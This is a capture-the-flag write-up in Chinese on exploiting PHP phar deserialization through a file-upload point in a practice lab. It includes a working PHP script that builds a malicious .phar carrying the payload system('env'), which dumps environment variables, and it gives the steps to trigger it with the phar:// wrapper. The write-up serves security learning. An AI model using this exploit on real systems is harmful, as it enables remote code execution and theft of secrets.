
1.打开靶场,有一个文件上传点,ctrl+u发现源码

2.把源码复制到html文件在浏览器打开看到反序列化代码,get传参的file的内容不能有flag字符串,提示flag在环境变量
1 2 3 4 5 6
| 如果上传文件会在当前目录生成upload目录 uniqid将当前的秒数和微妙数转换成十六进制 move_upload_file用于将上传的文件移动到指定目录下 $_FILES['file']['tmp_name']为为临时文件在服务器上的源路径
文件会先上传到临时文件目录,再将文件重命名到网站upload目录,再输出文件路径
|

3.题目提示为phar反序列化,写一个生成.phar文件的脚本
1
| 生成.phar文件后,可以随意重命名,因为phar反序列化要用到的phar://伪协议,只要检测到文件符合PHAR的格式(有Stub和Metadata)就会触发反序列化
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class A { public $a; public function __construct($a) { $this->a = $a; } } class B { public $b; public function __construct($b) { $this->b = $b; } } $b=new B("system('env');"); $a=new A($b);
$phar = new Phar("a.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetaData($a); $phar->addFromString("test2.txt", "test2"); $phar->stopBuffering();
|
4.生成a.phar文件后,将其上传并用bp抓包

5.发送到重发器->发送,查看响应找到文件路径

6.改请求包,get传参用phar伪协议将我们上传的文件包含进去

7.发送查看响应输出的环境变量得到flag
